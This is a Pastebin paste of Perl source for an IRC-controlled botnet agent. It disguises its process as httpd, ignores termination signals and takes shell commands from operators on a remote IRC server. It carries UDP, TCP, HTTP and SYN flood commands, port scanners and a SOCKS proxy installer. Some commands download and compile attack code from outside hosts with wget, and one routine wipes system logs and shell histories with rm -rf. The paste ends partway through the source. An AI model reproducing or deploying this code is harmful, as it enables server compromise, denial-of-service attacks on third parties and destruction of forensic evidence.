zepek_al

Untitled

Nov 9th, 2017
1,419
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 38.58 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #-shell @ddos
  3. #-shell @commands
  4. #-shell @irc
  5. ############################################
  6. my $processo = 'usr/sbin/httpd';
  7. my $linas_max='10';
  8. my $sleep='5';
  9. my $cmd="";
  10. my $id="";
  11. ############################################
  12. my @adms=("cmeklmcl", "depois", "bposix");
  13. my @canais=("#ddos");
  14. my $chanpass = "";
  15. $num = int rand(99999);
  16. my $nick = "[L]" . $num . "";
  17. my $ircname ='[L]';
  18. chop (my $realname = '[L]');
  19. $servidor='irc.shadow-network.cc' unless $servidor;
  20. my $porta='6667';
  21. ############################################
  22. $SIG{'INT'} = 'IGNORE';
  23. $SIG{'HUP'} = 'IGNORE';
  24. $SIG{'TERM'} = 'IGNORE';
  25. $SIG{'CHLD'} = 'IGNORE';
  26. $SIG{'PS'} = 'IGNORE';
  27. use IO::Socket;
  28. use Socket;
  29. use IO::Select;
  30. chdir("/");
  31.  
  32. #Connect
  33. $servidor="$ARGV[0]" if $ARGV[0];
  34. $0="$processo"."\0"x16;;
  35. my $pid=fork;
  36. exit if $pid;
  37. die "Masalah fork: $!" unless defined($pid);
  38.  
  39. our %irc_servers;
  40. our %DCC;
  41. my $dcc_sel = new IO::Select->new();
  42. $sel_cliente = IO::Select->new();
  43. sub sendraw {
  44.    if ($#_ == '1') {
  45.       my $socket = $_[0];
  46.       print $socket "$_[1]\n";
  47.  
  48.    } else {
  49.       print $IRC_cur_socket "$_[0]\n";
  50.    }
  51. }
  52.  
  53. sub conectar {
  54.    my $meunick = $_[0];
  55.    my $servidor_con = $_[1];
  56.    my $porta_con = $_[2];
  57.  
  58.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  59.    PeerPort=>$porta_con) or return(1);
  60.    if (defined($IRC_socket)) {
  61.       $IRC_cur_socket = $IRC_socket;
  62.       $IRC_socket->autoflush(1);
  63.       $sel_cliente->add($IRC_socket);
  64.       $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  65.       $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  66.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  67.       $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  68.       nick("$meunick");
  69.       sendraw("PASS ");
  70.       sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  71.       sleep 1;
  72.    }
  73. }
  74.  
  75. my $line_temp;
  76. while( 1 ) {
  77.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  78.    select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  79.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  80.    my @ready = $sel_cliente->can_read(0);
  81.    next unless(@ready);
  82.    foreach $fh (@ready) {
  83.       $IRC_cur_socket = $fh;
  84.       $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  85.       $nread = sysread($fh, $msg, 4096);
  86.       if ($nread == 0) {
  87.          $sel_cliente->remove($fh);
  88.          $fh->close;
  89.          delete($irc_servers{$fh});
  90.       }
  91.       @lines = split (/\n/, $msg);
  92.       for(my $c=0; $c<= $#lines; $c++) {
  93.          $line = $lines[$c];
  94.          $line=$line_temp.$line if ($line_temp);
  95.          $line_temp='';
  96.          $line =~ s/\r$//;
  97.          unless ($c == $#lines) {
  98.             parse("$line");
  99.          } else {
  100.             if ($#lines == 0) {
  101.                parse("$line");
  102.             } elsif ($lines[$c] =~ /\r$/) {
  103.                parse("$line");
  104.             } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  105.                parse("$line");  
  106.             } else {
  107.                $line_temp = $line;
  108.             }
  109.          }
  110.       }
  111.    }
  112. }
  113.  
  114. sub parse {
  115.    my $servarg = shift;
  116.    if ($servarg =~ /^PING \:(.*)/) {
  117.       sendraw("PONG :$1");
  118.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  119.       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  120.       if ($args =~ /^\001VERSION\001$/) {
  121.          notice("$pn", "\001VERSION mIRC v7.25 CyberBot\001");
  122.       }
  123.       if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  124.          if ($onde eq "$meunick"){
  125.             shell("$pn", "$args");
  126.          }
  127. #End of Connect
  128.          if ($args =~ /^(\Q$meunick\E|\-shell)\s+(.*)/ ) {
  129.             my $natrix = $1;
  130.             my $arg = $2;
  131.             if ($arg =~ /^\!(.*)/) {
  132.                ircase("$pn","$onde","$1") unless ($natrix eq "-shell" and $arg =~ /^\!nick/);
  133.             } elsif ($arg =~ /^\@(.*)/) {
  134.                $ondep = $onde;
  135.                $ondep = $pn if $onde eq $meunick;
  136.                bfunc("$ondep","$1");
  137.             } else {
  138.                shell("$onde", "$arg");
  139.             }
  140.          }
  141.       }
  142.    }
  143. ######################### End of prefix
  144.    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  145.       if (lc($1) eq lc($meunick)) {
  146.          $meunick=$4;
  147.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  148.       }
  149.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  150.       nick("$meunick|".int rand(999999));
  151.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  152.       $meunick = $2;
  153.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  154.       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  155.       foreach my $canal (@canais) {
  156.          sendraw("JOIN $canal $chanpass");
  157.       }
  158.    }
  159. }
  160.  
  161. sub bfunc {
  162.    my $printl = $_[0];
  163.    my $funcarg = $_[1];
  164.    if (my $pid = fork) {
  165.       waitpid($pid, 0);
  166.    } else {
  167.       if (fork) {
  168.          exit;
  169.       } else {
  170.  
  171.          if ($funcarg =~ /^killme/) {
  172.             sendraw($IRC_cur_socket, "QUIT :");
  173.             $killd = "kill -9 ".fork;
  174.             system (`$killd`);
  175.          }
  176. ######################
  177. #                    Commands                      #
  178. ######################
  179.          if ($funcarg =~ /^commands/) {
  180.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[Devising's Modded  Perl Bot Commands List]-14@4] ");
  181.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Hacking Based]-----14@4] ");
  182.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3multiscan <vuln> <dork>");
  183.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3socks5");
  184.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sql <vuln> <dork>");
  185.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3portscan <ip>");
  186.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3logcleaner");
  187.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sendmail <subject> <sender> <recipient> <message>");
  188.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3system");
  189.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3cleartmp");
  190.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3rootable");
  191.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3nmap <ip> <beginport> <endport>");
  192.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3back <ip><port>");    
  193.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3linuxhelp");
  194.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3cd tmp:. | for example");
  195.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  196.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3packetstorm");
  197.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3milw0rm");
  198.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  199.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3udpflood <host> <packet size> <time>");
  200.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3udp <host> <port> <packet size> <time>");
  201.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3tcpflood <host> <port> <packet size> <time>");
  202.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3httpflood <host> <time>");  
  203.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sqlflood <host> <time>");
  204.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  205.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3killme");    
  206.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3join #channel");    
  207.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3part #channel");
  208.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3reset");
  209.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3voice <who> ");
  210.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3owner <who> ");
  211.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3deowner <who> ");
  212.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3devoice <who> ");
  213.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3halfop <who> ");
  214.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3dehalfop <who> ");
  215.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3op <who> ");
  216.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3deop <who> ");
  217.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  218.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3msgflood <who> ");
  219.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3dccflood <who> ");
  220.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3ctcpflood <who> ");
  221.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3noticeflood <who> ");
  222.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3channelflood");
  223.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3maxiflood <who> ");
  224. }
  225.  
  226.          if ($funcarg =~ /^linuxhelp/) {
  227.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  228.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Dir where you are : pwd");
  229.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Start a Perl file : perl file.pl");
  230.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Go back from dir : cd ..");
  231.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  232.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Show all files/dir with permissions : ls -lia");
  233.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  234.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  235.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  236.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  237.          }
  238.            
  239.          if ($funcarg =~ /^help/) {
  240.              sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  241.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3flooding - For IRC Flooding Help");
  242.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3irc - For IRC Bot Command Help ");
  243.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3ddos - For DDos Command Help");
  244.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3news - For Security News Command Help ");
  245.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3hacking - For Hacking Command Help");
  246.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3linuxhelp - For Linux Help");
  247.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3extras");
  248.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3version - For version info");
  249.          }
  250.  
  251.          if ($funcarg =~ /^flooding/) {
  252.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  253.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3msgflood <who> ");
  254.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3dccflood <who> ");
  255.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3ctcpflood <who> ");
  256.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3noticeflood <who> ");
  257.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3channelflood");
  258.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3maxiflood <who> ");
  259.          }
  260.            
  261.          if ($funcarg =~ /^irc/) {
  262.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  263.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3voice <who> ");
  264.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3owner <who> ");
  265.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3deowner <who> ");
  266.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3devoice <who> ");
  267.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3halfop <who> ");
  268.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3dehalfop <who> ");
  269.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3op <who> ");
  270.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3deop <who> ");
  271.          }    
  272.            
  273.          if ($funcarg =~ /^ddos/) {
  274.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  275.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3udpflood <host> <packet size> <time>");
  276.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3udp <host> <port> <packet size> <time>");
  277.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3tcpflood <host> <port> <packet size> <time>");
  278.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3httpflood <host> <time>");  
  279.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sqlflood <host> <time>");
  280.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7[14@13-----[Extras Ddos Commands]-----14@12] ");
  281.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3syn <destip> <destport> <time in seconds>");
  282.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sudp <host> <port> <reflection file> <threads> <time> | Requires ./50 installed");
  283.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7[14@13Go to @extras to install required scripts14@12] ");
  284.              
  285.          }    
  286.  
  287.          if ($funcarg =~ /^news/) {
  288.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  289.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3packetstorm");
  290.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3milw0rm");
  291.          }    
  292.  
  293.          if ($funcarg =~ /^hacking/) {
  294.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  295.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3multiscan <vuln> <dork>");
  296.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3socks5");
  297.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3portscan <ip>");
  298.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3logcleaner");
  299.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sendmail <subject> <sender> <recipient> <message>");
  300.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3system");
  301.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3cleartmp");
  302.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3rootable");
  303.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3nmap <ip> <beginport> <endport>");
  304.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3back <ip><port>");    
  305.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3linuxhelp");
  306.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3cd tmp:. | for example");
  307.          }      
  308.               if ($funcarg =~ /^extras/) {
  309.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Extras]-----14@12] ");
  310.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13To install these scripts you need gcc installed14@12] ");
  311.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3install-syn Syn.c");      
  312.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3install-50x 50x.c");                    
  313.          }          
  314. ######################
  315. #   End of  Help     #
  316. ######################
  317.  
  318.  
  319. ######################
  320. #     Commands       #
  321. ######################
  322.  if ($funcarg =~ /^system/) {
  323.  sendraw($IRC_cur_socket, "PRIVMSG $printl Come on and hit that ricky");
  324.  }
  325.          if ($funcarg =~ /^sys/) {
  326.             $uname=`uname -a`;
  327.             $uptime=`uptime`;
  328.             $ownd=`pwd`;
  329.             $distro=`cat /etc/issue`;
  330.             $id=`id`;
  331.             $un=`uname -sro`;
  332.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  333.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a     : 7 $uname");
  334.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime       : 7 $uptime");
  335.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses  : 7 $processo");
  336.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID           : 7 $id");
  337.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir      : 7 $ownd");
  338.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS           : 7 $distro");
  339.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner        : 7 fuck");
  340.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel      : 7 #berau");
  341.          }
  342.  
  343.          if ($funcarg =~ /^milw0rm/) {
  344.             my @ltt=();
  345.             my @bug=();
  346.             my $x;
  347.             my $page="";
  348.             my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  349.             print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  350.             my @r = <$socke>;
  351.             $page="@r";
  352.             close($socke);
  353.             while ($page =~  m/<title>(.*)</g){
  354.                $x = $1;
  355.                if ($x =~ /\&lt\;/) {
  356.                   $x =~ s/\&lt\;/</g;
  357.                }          
  358.                if ($x !~ /milw0rm/) {
  359.                   push (@bug,$x);
  360.                }
  361.             }
  362.             while ($page =~  m/<link.*expl.*([0-9]...)</g) {
  363.                if ($1 !~ m/milw0rm.com|exploits|en/){
  364.                   push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  365.                }
  366.             }
  367.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  368.             foreach $x (0..(@ltt - 1)) {
  369.                sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12  $bug[$x] - $ltt[$x]");
  370.                sleep 1;
  371.             }
  372.          }
  373. ######################
  374. #   Devisings shit   #
  375. ######################
  376. #######################
  377. #      Version info   #
  378. #######################      
  379.          if ($funcarg =~ /^version/) {
  380.            sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Version4:.12|4 LiGhT's Modded perlbot v2.");
  381.          }
  382. #######################
  383. # End of Version info #
  384. #######################          
  385.            #some links could be dead just updated there public scripts noob
  386.            if ($funcarg =~ /^install-syn/) {
  387.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Installing Syn4:.12|4 Please wait...");
  388.             system 'cd /root';
  389.             system 'wget http://server.perpetual.pw/syn.c';
  390.             system 'gcc -o syn syn.c -pthread';
  391.             system 'rm -rf syn.c';
  392.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Installing Syn4:.12|4|--Syn is now installed and compiled :)");
  393.          }
  394.                  
  395.            if ($funcarg =~ /^syn\s+(.*)\s+(\d+)\s+(\d+)/) {
  396.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3SYN DDoS12:.4|12 Attacking 4 ".$1.":".$2."12 for 4 ".$3." 12 seconds.");
  397.             system "cd /root";
  398.             system "./syn ".$1." ".$2." ".$3." ";
  399.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3SYN DDoS12:.4|12 Attack Finished 4");
  400.          }
  401.                  
  402.  
  403.  
  404. ######################
  405. #   End of Devisings #
  406. #        Shit        #
  407. ######################
  408.  
  409.  
  410. ######################
  411. #      Portscan      #
  412. ######################
  413.  
  414.          if ($funcarg =~ /^portscan (.*)/) {
  415.             my $hostip="$1";
  416.             @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  417.             my (@aberta, %porta_banner);
  418.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  419.             foreach my $porta (@portas)  {
  420.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  421.                   'tcp', Timeout => 4);
  422.                if ($scansock) {
  423.                   push (@aberta, $porta);
  424.                   $scansock->close;
  425.                }
  426.             }
  427.    
  428.             if (@aberta) {
  429.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  430.             } else {
  431.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  432.             }
  433.          }
  434.  
  435. ######################
  436. #  End of  Portscan  #
  437. #####################
  438. #####################
  439. # Chk The News from PacketStorm#
  440. ######################
  441. if ($funcarg =~ /^packetstorm/) {  
  442.    my $c=0;
  443.    my $x;
  444.    my @ttt=();
  445.    my @ttt1=();  
  446.    my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;  
  447.    print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  448.    print $sock "Host: www.packetstormsecurity.org\r\n";
  449.    print $sock "Accept: */*\r\n";
  450.    print $sock "User-Agent: Mozilla/5.0\r\n\r\n";  
  451.    my @r = <$sock>;
  452.    $page="@r";
  453.    close($sock);
  454.    while ($page =~  m/<link>(.*)<\/link>/g)
  455.    {
  456.            push(@ttt,$1);
  457.    }
  458.    while ($page =~  m/<description>(.*)<\/description>/g)
  459.    {  
  460.           push(@ttt1,$1);
  461.    }
  462.    foreach $x (0..(@ttt - 1))
  463.    {
  464.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  465.       sleep 3;
  466.       $c++;
  467.    }
  468. }
  469. ######################
  470. #Auto Install Socks V5 using Mocks#
  471. ######################
  472. if ($funcarg =~ /^socks5/) {
  473.  
  474.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  475.       system 'cd /tmp';
  476.       system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  477.       system 'tar -xvfz mocks-0.0.2.tar.gz';
  478.       system 'rm -rf mocks-0.0.2.tar.gz';
  479.       system 'cd mocks-0.0.2';
  480.       system 'rm -rf mocks.conf';
  481.       system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  482.       system 'touch mocks.log';
  483.       system 'chmod 0 mocks.log';
  484.          sleep(2);
  485.       system './mocks start';
  486.          sleep(4);
  487.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4   ");
  488.  
  489.       #lets grab ip
  490.       $net = `/sbin/ifconfig | grep 'eth0'`;
  491.       if (length($net))
  492.       {
  493.       $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  494.       if (!length($net))
  495.       {
  496.       $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  497.       }
  498.          if (length($net))
  499.       {
  500.          chop($net);
  501.          @netip = split/:/,$net;
  502.          $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  503.          $ip = $1 .".". $2 .".". $3 .".". $4;
  504.            
  505.             #and print it ^^    
  506.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  507.          }
  508.       else
  509.    {
  510.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  511.    }
  512. }
  513. else
  514. {
  515.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  516. }
  517. }
  518. ######################
  519. #        Nmap        #  
  520. ######################
  521.    if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  522.          my $hostip="$1";
  523.          my $portstart = "$2";
  524.          my $portend = "$3";
  525.          my (@abertas, %porta_banner);
  526.        sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4|  4: $1:. |.: 4Ports 12:.  4 $2-$3");
  527.        foreach my $porta ($portstart..$portend){
  528.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  529.     if ($scansock) {
  530.                  push (@abertas, $porta);
  531.                  $scansock->close;
  532.                  if ($xstats){
  533.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan :. |Founded  4 $porta"."/Open");
  534.                  }
  535.                }
  536.              }
  537.              if (@abertas) {
  538.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| Complete ");
  539.              } else {
  540.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| No open ports have been founded  13");
  541.              }
  542.           }
  543. ######################
  544. #    End of Nmap     #  
  545. ######################
  546. ######################
  547. #    Log Cleaner     #  
  548. ######################
  549. if ($funcarg =~ /^logcleaner/) {
  550. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Sorry our masters, nigga gotta big dick");
  551. }
  552. if ($funcarg =~ /^Cleandabitch/) {
  553. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  This process can be long, just wait");
  554.     system 'rm -rf /var/log/lastlog';
  555.     system 'rm -rf /var/log/wtmp';
  556.    system 'rm -rf /etc/wtmp';
  557.    system 'rm -rf /var/run/utmp';
  558.    system 'rm -rf /etc/utmp';
  559.    system 'rm -rf /var/log';
  560.    system 'rm -rf /var/logs';
  561.    system 'rm -rf /var/adm';
  562.    system 'rm -rf /var/apache/log';
  563.    system 'rm -rf /var/apache/logs';
  564.    system 'rm -rf /usr/local/apache/log';
  565.    system 'rm -rf /usr/local/apache/logs';
  566.    system 'rm -rf /root/.bash_history';
  567.    system 'rm -rf /root/.ksh_history';
  568. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  All default log and bash_history files erased");
  569.       sleep 1;
